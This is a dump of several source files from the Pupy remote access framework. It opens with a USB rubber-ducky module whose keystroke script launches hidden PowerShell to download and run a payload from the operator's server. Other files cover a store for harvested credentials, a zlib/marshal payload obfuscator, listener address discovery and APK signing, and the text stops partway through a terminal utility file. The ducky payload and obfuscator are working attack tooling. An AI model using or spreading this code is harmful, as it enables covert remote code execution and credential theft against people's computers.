    "content": "# -*- coding: utf-8 -*-\n#Author: @bobsecq\n#Contributor(s):\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport subprocess\nfrom io import open\n\nfrom pupy.pupylib.PupyOutput import Success, Error\n\n\nclass rubber_ducky():\n    '''\n    '''\n    TARGET_OS_MANAGED = ['Windows']\n    ENCODE_CMD = \"java -jar {0}  -i {1}  -l {2} -o {3}\" #{0} encode.jar file, {1} rubber ducky script file, {2} layout file, {3} output file\n    WINDOWS_SCRIPT = \"\"\"DELAY 3000\\nGUI r\\nDELAY 500\\nSTRING powershell.exe -w hidden -noni -nop -c \"iex(New-Object System.Net.WebClient).DownloadString('http://{0}:{1}/p')\"\\nENTER\"\"\"#{0} ip {1} port\n\n    def __init__(self, display, conf, pupy_conf, link_port=8080, targetOs='Windows'):\n        '''\n        '''\n        self.conf = conf\n        i=conf[\"launcher_args\"].index(\"--host\")+1\n        self.link_ip = conf[\"launcher_args\"][i].split(\":\",1)[0]\n        self.link_port = link_port\n        self.pupy_conf = pupy_conf\n\n        self.__loadRubberDuckyConf__()\n\n        self.rubberDuckyScriptFilename = 'rubberDuckyPayload.txt'\n        self.rubberDuckyBinFilename = 'inject.bin'\n\n        self.targetOs = targetOs\n        self.display = display\n        self.unconfigured = False\n\n        if self.targetOs not in self.TARGET_OS_MANAGED:\n            self.display(Error('Target OS ({0}) is not valid. It has to be in {1}'.format(\n                targetOs, self.TARGET_OS_MANAGED)))\n\n    def createRubberDuckyScriptForWindowsTarget(self):\n        '''\n        '''\n        with open(self.rubberDuckyScriptFilename, 'wb') as w:\n            w.write(self.WINDOWS_SCRIPT.format(self.link_ip, self.link_port))\n\n        self.display(Success('Rubber ducky script file generated in {0}'.format(\n            self.rubberDuckyScriptFilename)))\n\n    def generateInjectBinFile(self):\n        '''\n        returns True if no error\n        Otherwise returns False\n        '''\n        rubberDuckyEncodeCmd = self.ENCODE_CMD.format(self.encoderPath, self.rubberDuckyScriptFilename, self.keyboardLayoutPath, self.rubberDuckyBinFilename)\n        try:\n            output = subprocess.check_output(rubberDuckyEncodeCmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell = True)\n        except subprocess.CalledProcessError as e:\n            self.display(Error('Impossible to generate {0} file with encoder: {1}'.format(\n                self.rubberDuckyBinFilename, repr(e.output))))\n\n        except Exception as e:\n            self.display(Error('Impossible to generate {0} file with encoder: {1}'.format(\n                self.rubberDuckyBinFilename, repr(e))))\n            return False\n\n        else:\n            self.display(Success('Encoder output: {0}'.format(output)))\n            self.display(Success('{0} has been created'.format(repr(self.rubberDuckyBinFilename))))\n            return True\n\n    def __loadRubberDuckyConf__(self):\n        '''\n        '''\n\n        self.encoderPath = self.pupy_conf.get('rubber_ducky', 'encoder_path')\n        self.keyboardLayoutPath = self.pupy_conf.get('rubber_ducky', 'default_keyboard_layout_path')\n\n        if self.encoderPath == 'TO_FILL':\n            self.unconfigured = True\n            self.display(Error('The \"encoder_path\" value has to be filled in pupy.conf for generating inject.bin'))\n\n        if self.keyboardLayoutPath == 'TO_FILL':\n            self.unconfigured = True\n            self.display(Error(\n                'The \"default_keyboard_layout_path\" value has to be filled in pupy.conf '\n                'for generating inject.bin'))\n\n    def generateAllForOStarget(self):\n        '''\n        '''\n\n        if self.targetOs == 'Windows' and not self.unconfigured:\n            from .ps1_oneliner import serve_ps1_payload\n\n            self.createRubberDuckyScriptForWindowsTarget()\n            self.generateInjectBinFile()\n\n            self.display(Success('copy/paste inject.bin file on USB rubber ducky device'))\n            self.display(Success(\n                'You should not pay attention to the following message '\n                '(powershell command). This powershell command is embedded in '\n                'the inject.bin file generated'))\n\n            serve_ps1_payload(self.display, self.conf, link_ip=self.link_ip)\n"
  },
  {
    "path": "pupy/pupylib/utils/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/pupylib/utils/arch.py",
    "content": "# -*- coding: utf-8 -*-\n\nimport platform\nimport sys\n\n\ndef make_os_arch(os_arch):\n    substitute = {\n        'x86_64': 'amd64',\n        'i386': 'x86',\n        'i686': 'x86',\n        'i486': 'x86',\n        'armv7l': 'armhf'\n    }\n\n    return substitute.get(os_arch, os_arch)\n\n\ndef make_template_arch(os_arch):\n    substitute = {\n        'x86_64': 'x64',\n        'amd64': 'x64',\n        'i386': 'x86',\n        'i686': 'x86',\n        'i486': 'x86',\n        'armv7l': 'armhf'\n    }\n\n    return substitute.get(os_arch, os_arch)\n\n\ndef make_proc_arch(os_arch, proc_arch):\n    os_arch = make_os_arch(os_arch)\n\n    os_arch_to_platform = {\n        'amd64': 'intel',\n        'x86': 'intel',\n        'i86pc': 'sun-intel',\n        'armhf': 'armhf',\n        'aarch64': 'arm',\n    }\n\n    os_platform_to_arch = {\n        'intel': {\n            '32bit': 'x86',\n            '64bit': 'amd64'\n        },\n        'sun-intel': {\n            # Yes.. Just one arch supported\n            # The script is for amd64\n            '32bit': 'i86pc',\n            '64bit': 'i86pc'\n        },\n        'armhf': {\n            '32bit': 'armhf',\n            '64bit': 'armhf'\n        },\n        'arm': {\n            '32bit': 'arm',\n            '64bit': 'aarch64'\n        }\n    }\n\n    if os_arch in os_arch_to_platform:\n        return os_platform_to_arch[\n            os_arch_to_platform[os_arch]\n        ][proc_arch]\n    else:\n        return proc_arch\n\n\ndef is_native(os_arch, proc_arch, pyver):\n    target_pymaj, target_pymin = pyver[:2]\n    local_pymaj, local_pymin = sys.version_info[:2]\n\n    target_arch = make_proc_arch(os_arch, proc_arch)\n    local_arch = platform.machine()\n\n    return all(target == local for target, local in zip([\n        target_pymaj, target_pymin, target_arch\n    ], [\n        local_pymaj, local_pymin, local_arch\n    ]))\n\ndef same_as_local_arch(os_arch, proc_arch):\n    target_arch = make_proc_arch(os_arch, proc_arch)\n    local_arch = make_os_arch(platform.machine())\n    local_os = sys.platform.lower()\n    if local_os==\"win32\":\n        local_os=\"windows\"\n    return all(target == local for target, local in zip([\n        target_arch, os_arch\n    ], [\n        local_arch, local_os\n    ]))\n"
  },
  {
    "path": "pupy/pupylib/utils/common.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport os\n\ndef getLocalAndroidPath(localFolder, androidID, userName):\n    '''\n    For Android Only\n    Returns the current local path for saving data locally\n    Create folder if not exists\n    '''\n    localPath = os.path.join(localFolder, \"{0}-{1}\".format(androidID, userName))\n    if not os.path.exists(localPath):\n        os.makedirs(localPath)\n    return localPath\n"
  },
  {
    "path": "pupy/pupylib/utils/credentials.py",
    "content": "from __future__ import unicode_literals\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport json\n\nfrom pupy.network.lib.convcompat import (\n    ExtendedJsonEncoder, ExtendedJsonDecoder,\n    as_unicode_string, as_unicode_string_deep\n)\n\nfrom io import BytesIO\n\nfrom ..PupyConfig import PupyConfig\nfrom ..PupyCredentials import Encryptor\n\n\nclass EncryptionError(Exception):\n    pass\n\n\nclass Credentials(object):\n    def __init__(self, client=None, config=None, password=None):\n        self.config = config or PupyConfig()\n        self.client = client\n        self.db = os.path.join(\n            self.config.get_folder('creds'),\n            'creds.json'\n        )\n\n        if Encryptor.initialized() or password:\n            self.encryptor = Encryptor.instance(\n                password=password, config=self.config)\n        else:\n            self.encryptor = None\n\n        if not os.path.exists(self.db):\n            self._save_db({'creds': []})\n\n    def _save_db(self, data):\n        with open(self.db, 'w+') as db:\n            if self.encryptor:\n                jsondb = json.dumps(data, cls=ExtendedJsonEncoder, indent=4)\n                self.encryptor.encrypt(BytesIO(jsondb), db)\n            else:\n                json.dump(data, db, cls=ExtendedJsonEncoder, indent=4)\n\n    def _db_is_encrypted(self):\n        with open(self.db) as db:\n            content = db.read(8)\n            return content == b'Salted__'\n\n    def _load_db(self):\n        if self._db_is_encrypted():\n            with open(self.db, 'rb') as db:\n                data = BytesIO()\n                if self.encryptor:\n                    self.encryptor.decrypt(db, data)\n                else:\n                    raise EncryptionError(\n                        'Encrpyted credential storage: {}'.format(self.db)\n                    )\n                return json.loads(\n                    data.getvalue(), cls=ExtendedJsonDecoder\n                )\n        else:\n            with open(self.db, 'r') as db:\n                return json.load(db, cls=ExtendedJsonDecoder)\n\n    def add(self, data, cid=None):\n        try:\n            db = self._load_db()\n        except ValueError:\n            db = {'creds': []}\n\n        if not cid:\n            if not self.client:\n                raise ValueError('Client ID (cid) required')\n\n            cid = self.client.node()\n\n        data = as_unicode_string_deep(list(data), fail=False)\n\n        for d in data:\n            for k in d:\n                if not k.lower() == k:\n                    d[k.lower()] = d[k]\n                    del d[k]\n\n            if 'credtype' not in d:\n                if d.get('password'):\n                    d['credtype'] = 'plaintext'\n                elif d.get('hash'):\n                    d['credtype'] = 'hash'\n                elif d.get('key'):\n                    d['credtype'] = 'key'\n                else:\n                    d['credtype'] = 'unknown'\n\n            d['cid'] = cid\n\n        db['creds'] = [\n            dict(t) for t in frozenset([\n                tuple(d.items()) for d in db['creds'] + data\n            ])\n        ]\n\n        self._save_db(db)\n\n    def display(self, search=None, is_sorted=False):\n        search = as_unicode_string(search)\n\n        data = self._load_db()\n\n        if is_sorted:\n            data = sorted(\n                data['creds'],\n                key=lambda d: d.get('cid', d.get('uid')),\n                reverse=True\n            )\n        else:\n            data = sorted(\n                data['creds'],\n                key=lambda d: d.get('credtype'), reverse=True\n            )\n\n        if not data:\n            return\n\n        for creds in data:\n            creds = {k.lower(): v for k, v in creds.items()}\n\n            c = {\n                'category': creds['category'],\n                'cid': creds.get('cid', creds.get('uid')),\n                'credtype': creds.get('credtype'),\n                'login': '',\n                'secret': '',\n                'resource': ''\n            }\n\n            if 'login' in creds:\n                c['login'] = creds['login']\n                if 'domain' in creds:\n                    c['login'] = '%s\\\\%s' % (creds['domain'], c['login'])\n            elif 'sid' in creds:\n                c['login'] = 'SID: %s' % creds['sid']\n            elif 'ssid' in creds:\n                c['login'] = 'SSID: %s' % creds['ssid']\n            elif 'user' in creds:\n                c['login'] = creds['user']\n            elif 'id' in creds:\n                c['login'] = creds['id']\n            elif 'label' in creds:\n                c['login'] = creds['label']\n            elif 'service' in creds:\n                c['login'] = creds['service']\n            elif 'defaultpassword' in creds:\n                c['login'] = 'DefaultPassword'\n            elif 'username' in creds:\n                c['login'] = creds['username']\n\n            if 'password' in creds:\n                c['secret'] = creds['password']\n            elif 'hash' in creds:\n                c['secret'] = creds['hash']\n            elif 'key' in creds:\n                c['secret'] = creds['key']\n            elif 'defaultpassword' in creds:\n                c['secret'] = creds['defaultpassword']\n\n            if 'url' in creds:\n                c['resource'] = creds['url']\n            elif 'host' in creds:\n                c['resource'] = creds['host']\n                if 'port' in creds:\n                    c['resource'] += ':{}'.format(creds['port'])\n            elif 'process' in creds:\n                c['resource'] = creds['process']\n            elif 'hub' in creds:\n                c['resource'] = creds['hub']\n            elif 'cmd' in creds:\n                c['resource'] = creds['cmd']\n            elif 'domain' in creds and 'file' in creds:\n                c['resource'] = creds['domain']\n\n            # check if in the research\n            found = True\n\n            if search:\n                found = False\n                for value in c.values():\n                    if search.lower() in value.lower():\n                        found = True\n                        break\n\n            # print only data with password and remove false positive\n            if not found:\n                continue\n\n            yield c\n\n    def remove(self):\n        if os.path.exists(self.db):\n            os.remove(self.db)\n"
  },
  {
    "path": "pupy/pupylib/utils/downloader.py",
    "content": "#!/usr/bin/env python\n# -*- coding: UTF8 -*-\n\nimport requests\nimport shutil\nfrom tqdm.auto import tqdm\n\ndef download(url, to):\n    with requests.get(url, stream=True) as r:\n        print(r)\n        print(dir(r))\n        total_length = int(r.headers.get(\"Content-Length\"))\n        with tqdm.wrapattr(r.raw, \"read\", total=total_length, desc=\"\")as raw:\n            with open(to, 'wb')as output:\n                shutil.copyfileobj(raw, output)\n"
  },
  {
    "path": "pupy/pupylib/utils/jarsigner.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom M2Crypto import X509, EVP, RSA, BIO, m2\n\nfrom zipfile import ZipFile, ZIP_DEFLATED\nfrom hashlib import sha1\nfrom base64 import b64encode\n\ndef jarsigner(pem_priv, pem_cert, apk_path, dest_fileobj):\n    pk = EVP.PKey()\n\n    if not isinstance(pem_priv, bytes):\n        pem_priv = pem_priv.encode('utf-8')\n\n    if not isinstance(pem_cert, bytes):\n        pem_cert = pem_cert.encode('utf-8')\n\n    pk.assign_rsa(RSA.load_key_string(pem_priv))\n    cert = X509.load_cert_string(pem_cert)\n\n    MANIFEST_MF = \\\n      'Manifest-Version: 1.0\\r\\n' \\\n      'Created-By: 9.0.4 (Oracle Corporation)\\r\\n' \\\n      '\\r\\n'\n\n    SHA1_MAIN_ATTRIBUTES = b64encode(sha1(MANIFEST_MF).digest())\n\n    SIGNER_SF = ''\n\n    with ZipFile(apk_path) as infile:\n        with ZipFile(dest_fileobj, \"w\", ZIP_DEFLATED) as outfile:\n            for name in infile.namelist():\n                if name.startswith('META-INF'):\n                    continue\n\n                content = infile.read(name)\n                digest = sha1(content)\n                outfile.writestr(name, content)\n\n                manifest_record = 'Name: {}\\r\\nSHA1-Digest: {}\\r\\n\\r\\n'.format(\n                    name, b64encode(digest.digest())\n                )\n\n                MANIFEST_MF += manifest_record\n\n                sf_record = 'Name: {}\\r\\nSHA1-Digest: {}\\r\\n\\r\\n'.format(\n                    name, b64encode(sha1(manifest_record).digest())\n                )\n\n                SIGNER_SF += sf_record\n\n            SIGNER_SF = \\\n              'Signature-Version: 1.0\\r\\n' \\\n              'Created-By: 9.0.4 (Oracle Corporation)\\r\\n' \\\n              'SHA1-Digest-Manifest: {}\\r\\n' \\\n              'SHA1-Digest-Manifest-Main-Attributes: {}\\r\\n'\\\n              '\\r\\n'.format(\n                  b64encode(sha1(MANIFEST_MF).digest()),\n                  SHA1_MAIN_ATTRIBUTES\n            ) + SIGNER_SF\n\n            outfile.writestr('META-INF/MANIFEST.MF', MANIFEST_MF)\n            outfile.writestr('META-INF/SIGNER.SF', SIGNER_SF)\n\n            buf = BIO.MemoryBuffer(SIGNER_SF)\n            sign = BIO.MemoryBuffer()\n\n            p7 = m2.pkcs7_sign0(\n                cert._ptr(), pk._ptr(),\n                buf._ptr(), m2.sha1(), m2.PKCS7_DETACHED | m2.PKCS7_NOATTR)\n            m2.pkcs7_write_bio_der(p7, sign._ptr())\n            m2.pkcs7_free(p7)\n\n            outfile.writestr('META-INF/SIGNER.RSA', sign.read())\n"
  },
  {
    "path": "pupy/pupylib/utils/listener.py",
    "content": "# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport netifaces\nimport logging\n\nfrom netaddr import IPAddress, AddrFormatError\nfrom pupy.network.lib.online import external_ip\n\nLISTENER_IP_EXTERNAL = None\nLISTENER_IP_LOCAL = None\n\n\ndef get_listener_port(config, external=False):\n    port = None\n    if external:\n        port = config.get('pupyd', 'external_port')\n\n    if not port:\n        port = config.get('pupyd', 'port')\n\n    if not port:\n        port = 443\n\n    return int(port)\n\n\ndef get_listener_ip_with_local(cache=True, external=False, config=None, igd=None):\n    '''\n    Returns connectable external IP address\n    '''\n\n    global LISTENER_IP_EXTERNAL, LISTENER_IP_LOCAL\n\n    if LISTENER_IP_LOCAL and cache and not external:\n        return LISTENER_IP_LOCAL, True\n\n    if LISTENER_IP_EXTERNAL and cache and external:\n        return LISTENER_IP_EXTERNAL, False\n\n    if not LISTENER_IP_EXTERNAL and config:\n        try:\n            LISTENER_IP_EXTERNAL = config.getip('pupyd', 'external')\n        except AddrFormatError:\n            LISTENER_IP_EXTERNAL = None\n\n        if not LISTENER_IP_EXTERNAL and config.getboolean(\n            'pupyd', 'allow_requests_to_external_services'\n        ):\n            if igd and igd.available:\n                try:\n                    LISTENER_IP_EXTERNAL = str(IPAddress(\n                        igd.GetExternalIP()['NewExternalIPAddress']))\n                except Exception as e:\n                    logging.warning('IGD Exception: %s', e)\n\n            if not LISTENER_IP_EXTERNAL:\n                ipv6 = config.getboolean('pupyd', 'ipv6')\n\n                LISTENER_IP_EXTERNAL = external_ip(force_ipv4=not ipv6)\n\n        if not LISTENER_IP_EXTERNAL and igd and igd.available:\n            logging.warning('Failed to find out external IP')\n\n    if not LISTENER_IP_LOCAL and config:\n        LISTENER_IP_LOCAL = config.getip('pupyd', 'address')\n\n    ifaces = []\n\n    if not LISTENER_IP_LOCAL:\n        try:\n            ifaces = [\n                x for x in netifaces.interfaces() if not x.startswith(\n                    ('lo', 'docker')\n                )\n            ]\n\n            for anInt in ifaces:\n                addresses = netifaces.ifaddresses(anInt)\n                if netifaces.AF_INET not in addresses:\n                    continue\n\n                ipaddr = addresses[netifaces.AF_INET][0]\n                if 'addr' not in ipaddr:\n                    continue\n\n                addr = ipaddr['addr']\n                if addr not in ('127.0.0.1', '0.0.0.0'):\n                    LISTENER_IP_LOCAL = addr\n                    break\n\n        except Exception as e:\n            logging.debug('Exception during interfaces enumeration: %s', e)\n            return None\n\n    if not external and LISTENER_IP_LOCAL:\n        return LISTENER_IP_LOCAL, True\n\n    if external and LISTENER_IP_EXTERNAL:\n        return LISTENER_IP_EXTERNAL, False\n\n    if LISTENER_IP_EXTERNAL:\n        return LISTENER_IP_EXTERNAL, False\n\n    if LISTENER_IP_LOCAL:\n        return LISTENER_IP_LOCAL, True\n\ndef get_listener_ip(cache=True, external=False, config=None, igd=None):\n    return get_listener_ip_with_local(cache, external, config, igd)[0]\n"
  },
  {
    "path": "pupy/pupylib/utils/obfuscate.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file\n# at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport zlib\n\nfrom pupy.pupylib.PupyCompile import pupycompile\n\n\n# FIXME\n\ndef compress_encode_obfs(code, main=False, py=True):\n    if py:\n        # compatible version without compiling bytecode\n        data = zlib.compress(code.encode('utf8'), 9)\n        formatted = '('\n        for i in range(0, len(data), 100):\n            formatted+=\"%s\\n\"%repr(data[i:i+100])\n        formatted += \")\"\n        return 'import zlib;exec(zlib.decompress(%s).decode(\"utf8\"))'%formatted\n    else:\n        return 'import zlib,marshal;exec(marshal.loads(zlib.decompress(%s)))' % repr(\n            zlib.compress(pupycompile(code, main=main, raw=True), 9)\n        )\n"
  },
  {
    "path": "pupy/pupylib/utils/pe.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport pefile\n\n\ndef get_pe_arch(*args, **kwargs):\n    pe = None\n    if args:\n        pe = pefile.PE(args[0], fast_load=True)\n    elif \"data\" in kwargs:\n        pe = pefile.PE(data=kwargs[\"data\"], fast_load=True)\n    else:\n        raise NameError(\"at least a path or data must be supplied to get_arch\")\n    if pe.OPTIONAL_HEADER.Magic == 0x010b:\n        return \"32bit\"\n    elif pe.OPTIONAL_HEADER.Magic == 0x020b:\n        return \"64bit\"\n    else:\n        return \"UNKNOWN\"\n\n\ndef is_dotnet_bin(*args):\n    pe = pefile.PE(args[0], fast_load=True)\n    is_dotnet = pe.OPTIONAL_HEADER.DATA_DIRECTORY[14]\n    if is_dotnet.VirtualAddress == 0 and is_dotnet.Size == 0:\n        return False\n    else:\n        return True\n"
  },
  {
    "path": "pupy/pupylib/utils/rpyc_utils.py",
    "content": "# -*- coding: utf-8 -*-\n# --------------------------------------------------------------\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n#\n# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE\n# --------------------------------------------------------------\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nimport json\nimport zlib\nimport umsgpack\n\nfrom contextlib import contextmanager\n\nfrom pupy.network.lib.rpc.utils.helpers import restricted\n\n\ndef safe_obtain(proxy):\n    \"\"\" safe version of rpyc's rpyc.utils.classic.obtain, without using pickle. \"\"\"\n\n    try:\n        conn = object.__getattribute__(proxy, \"____conn__\")()\n    except AttributeError:\n        ptype = type(proxy)\n\n        if type(proxy) in (tuple, list, set):\n            return ptype([\n                safe_obtain(x) for x in proxy\n            ])\n\n        return proxy\n\n    if conn.is_extended():\n        # No need to call obtain\n        return proxy\n\n    if not hasattr(conn, 'obtain'):\n        try:\n            setattr(conn, 'obtain', conn.root.msgpack_dumps)\n            setattr(conn, 'is_msgpack_obtain', True)\n        except:\n            # Fallback, compat only\n            setattr(conn, 'obtain', conn.root.json_dumps)\n            setattr(conn, 'is_msgpack_obtain', False)\n\n    data = conn.obtain(proxy, compressed=True)\n    data = zlib.decompress(data)\n\n    if conn.is_msgpack_obtain:\n        data = umsgpack.loads(data)\n    else:\n        try:\n            data = data.decode('utf-8')\n        except:\n            data = data.decode('latin1')\n\n        data = json.loads(data) # should prevent any code execution\n\n    return data\n\ndef obtain(proxy):\n    return safe_obtain(proxy)\n\n@contextmanager\ndef redirected_stdo(module, stdout=None, stderr=None):\n    ns = module.client.conn.namespace\n    if stdout is None:\n        stdout = module.stdout\n    if stderr is None:\n        stderr = module.stdout\n\n    try:\n        ns['redirect_stdo'](\n            restricted(\n                stdout, ['softspace', 'write', 'flush']),\n            restricted(\n                stderr, ['softspace', 'write', 'flush']))\n\n        module.client.conn.register_remote_cleanup(ns['reset_stdo'])\n\n        yield\n\n    finally:\n        ns['reset_stdo']()\n        module.client.conn.unregister_remote_cleanup(ns['reset_stdo'])\n\n@contextmanager\ndef redirected_stdio(module, stdout=None, stderr=None):\n    r\"\"\"\n    Redirects the other party's ``stdin``, ``stdout`` and ``stderr`` to\n    those of the local party, so remote IO will occur locally.\n\n    Example usage::\n\n        with redirected_stdio(conn):\n            conn.modules.sys.stdout.write(\"hello\\n\")   # will be printed locally\n\n    \"\"\"\n\n    ns = module.client.conn.namespace\n\n    stdin = sys.stdin\n\n    if stdout is None:\n        stdout = module.stdout\n    if stderr is None:\n        stderr = module.stdout\n\n    try:\n        ns['redirect_stdio'](\n            restricted(\n                stdin, ['softspace', 'write', 'readline', 'encoding', 'close']),\n            restricted(\n                stdout, ['softspace', 'write', 'readline', 'encoding', 'close']),\n            restricted(\n                stderr, ['softspace', 'write', 'readline', 'encoding', 'close']))\n\n        module.client.conn.register_remote_cleanup(ns['reset_stdio'])\n\n        yield\n\n    finally:\n        ns['reset_stdio']()\n        module.client.conn.unregister_remote_cleanup(ns['reset_stdio'])\n"
  },
  {
    "path": "pupy/pupylib/utils/term.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nimport random\nimport os\nimport struct\nimport platform\nimport re\nimport locale\n\nimport fcntl\nimport termios\n\nimport hexdump\n\nfrom pygments import highlight\nfrom pygments.formatters import TerminalFormatter\nfrom pygments.lexers.hexdump import HexdumpLexer\n\nfrom pupy.pupylib.PupyOutput import (\n    Hint, Text, NewLine, Title, MultiPart, Indent, Color,\n    TruncateToTerm, Error, Log, Warn, Success, Info,\n    ServiceInfo, Section, Line, List, Table, Hex, Pygment\n)\n\nDEFAULT_MULTIBYTE_CP = 'utf-8'\n\n_default_locale = locale.getdefaultlocale()\nif _default_locale:\n    import codecs\n\n    try:\n        _, coding = _default_locale\n        if coding.lower() not in ('posix', 'c', ''):\n            codecs.getdecoder(coding)\n            DEFAULT_MULTIBYTE_CP = coding\n    except LookupError:\n        pass\n\nFALLBACK_MULTIBYTE_CP = 'latin-1'\n\n\nif sys.version_info.major > 2:\n    import _io\n\n    class AnyIOWrapper(object):\n        __slots__ = ('fileobj', 'softspace')\n\n        def __init__(self, pyfile):\n            self.softspace = getattr(pyfile, 'softspace', 0)\n            self.fileobj = os.fdopen(\n                pyfile.fileno(), 'ab', 0\n            )\n\n        def fileno(self):\n            return self.fileobj.fileno()\n\n        def write(self, data):\n            if isinstance(data, bytes):\n                return self.fileobj.write(data)\n            elif isinstance(data, str):\n                return self.fileobj.write(\n                    data.encode(DEFAULT_MULTIBYTE_CP)\n                )\n\n            return 0\n\n        def flush(self):\n            pass\n\n    def fix_stdout(stdout):\n        if isinstance(stdout, _io.TextIOWrapper):\n            return AnyIOWrapper(stdout)\n\n        return stdout\n\n    xrange = range\n    unicode = str\n\nelse:\n    def fix_stdout(stdout):\n        return stdout\n\n\ndef from_bytes(value, errors=None):\n    if errors is not None:\n        return value.decode(DEFAULT_MULTIBYTE_CP, errors=errors)\n    else:\n        try:\n            return value.decode(DEFAULT_MULTIBYTE_CP)\n        except UnicodeError:\n            return value.decode(FALLBACK_MULTIBYTE_CP)\n\n\ndef to_bytes(value):\n    if isinstance(value, bytes):\n        return value\n\n    elif isinstance(value, unicode):\n        return value.encode(DEFAULT_MULTIBYTE_CP)\n\n    else:\n        return unicode(value).encode(DEFAULT_MULTIBYTE_CP)\n\n\nPYGMENTS_STYLE = 'native'\n\nESC_REGEX = re.compile(\n    br'\\x1B(?:[@-Z\\\\-_]|\\[[0-?]*[ -/]*[@-~])'\n)\n\nCOLORS = {\n    'blue': b'\\033[34m',\n    'lightblue': b'\\033[34;1m',\n    'red': b'\\033[31m',\n    'lightred': b'\\033[31;1m',\n    'green': b'\\033[32m',\n    'lightgreen': b'\\033[32;1m',\n    'yellow': b'\\033[33m',\n    'lightyellow': b'\\033[1;33m',\n    'magenta': b'\\033[35m',\n    'lightmagenta': b'\\033[1;35m',\n    'cyan': b'\\033[36m',\n    'grey': b'\\033[37m',\n    'darkgrey': b'\\033[1;30m',\n    'white': b'\\033[39m',\n}\n\nNO_COLOR = b'\\033[0m'\n\nSHADOW_SCREEN_TO = b'\\033[?1049h\\033[2J\\033[1;1H'\nSHADOW_SCREEN_FROM = b'\\033[?1049l'\n\nRESET = b'\\033g\\033c\\033r\\033m'\n\nCUR_LEFT = b'\\033[0G'\nCUR_UP = b'\\033[A'\nCUR_DOWN = b'\\033[E'\nCUR_RIGHT = b'\\033[C'\nDEL_RIGHT = b'\\033[0K'\nDEL_ALL = b'\\033[2K'\n\nSTOR_CUR = b'\\033[s'\nLOAD_CUR = b'\\033[u'\n\n\n# https://gist.githubusercontent.com/jtriley/1108174/raw/6ec4c846427120aa342912956c7f717b586f1ddb/terminalsize.py\ndef consize(file=None):\n    \"\"\" getTerminalSize()\n     - get width and height of console\n     originally retrieved from:\n     http://stackoverflow.com/questions/566746/how-to-get-console-window-width-in-python\n    \"\"\"\n    current_os = platform.system()\n    tuple_xy = None\n    if current_os == 'Windows':\n        tuple_xy = _size_windows(file)\n\n    if current_os in ['Linux', 'Darwin'] or current_os.startswith('CYGWIN'):\n        tuple_xy = _size_linux(file)\n\n    return tuple_xy or (None, None)\n\n\ndef _size_windows(file=None):\n    try:\n        from ctypes import windll, create_string_buffer\n        h = windll.kernel32.GetStdHandle(-12)\n        csbi = create_string_buffer(22)\n        res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi)\n        if res:\n            (bufx, bufy, curx, cury, wattr,\n             left, top, right, bottom,\n             maxx, maxy) = struct.unpack(\"hhhhHhhhhhh\", csbi.raw)\n            sizex = right - left + 1\n            sizey = bottom - top + 1\n            return sizex, sizey\n    except:\n        pass\n\n\ndef _size_linux(file=None):\n    def ioctl_GWINSZ(fd):\n        try:\n            import fcntl\n            import termios\n            cr = struct.unpack(\n                'hh',\n                fcntl.ioctl(fd, termios.TIOCGWINSZ, '1234'))\n            return cr\n        except:\n            pass\n\n    if file:\n        cr = ioctl_GWINSZ(file.fileno())\n    else:\n        cr = ioctl_GWINSZ(0) or ioctl_GWINSZ(1) or ioctl_GWINSZ(2)\n        if not cr:\n            try:\n                fd = os.open(os.ctermid(), os.O_RDONLY)\n                cr = ioctl_GWINSZ(fd)\n                os.close(fd)\n            except:\n                pass\n\n    if not cr:\n        try:\n            cr = (os.environ['LINES'], 